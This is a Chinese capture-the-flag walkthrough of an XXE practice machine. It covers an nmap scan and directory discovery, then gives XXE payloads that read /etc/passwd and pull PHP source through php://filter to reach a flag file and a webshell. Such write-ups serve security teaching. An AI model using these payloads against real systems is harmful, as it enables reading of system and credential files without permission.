1.主机发现
nmap -sS 192.168.74.1/24
- 就是192.168.74.158没错了,开放了80端口。
2.前期信息收集
- 访问192.168.74.158,就是apache默认页。
- 御剑扫目录。
- 访问robots.txt。存在/xxe/路径,admin.PHP。
- ip/xxe为登录界面。
3.靶机测试
- 正常访问查看回显。
POST /xxe/xxe.PHP HTTP/1.1
Host: 192.168.74.158
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.74.158/xxe/
Content-Type: text/plain;charset=UTF-8
Content-Length: 93
Connection: close
<?xml version="1.0" encoding="UTF-8"?><root><name>admin</name><password>123</password></root>
- 有回显。
HTTP/1.1 200 OK
Date: Mon, 27 May 2019 05:43:44 GMT
Server: Apache/2.4.27 (Ubuntu)
Content-Length: 32
Connection: close
Content-Type: text/html; charset=UTF-8
Sorry, this admin not available!
- 利用XXE漏洞进行文件读取。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYstem "file:///etc/passwd">
]>
<root><name>&admin;</name><password>1</password></root>
- 查看admin.PHP。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYstem "PHP://filter/read=convert.base64-encode/resource=admin.PHP">
]>
<root><name>&admin;</name><password>1</password></root>
- base64解密,源码分析,存在硬编码密码,登录密码用md5解密即可。
- 先进行base32解密,再进行base64解密。
- 可得/etc/.flag.PHP。
- 查看/etc/.flag.PHP。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYstem "PHP://filter/read=convert.base64-encode/resource=/etc/.flag.PHP">
]>
<root><name>&admin;</name><password>1</password></root>
- base64解密之后看着像无特征码的PHP Webshell。
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。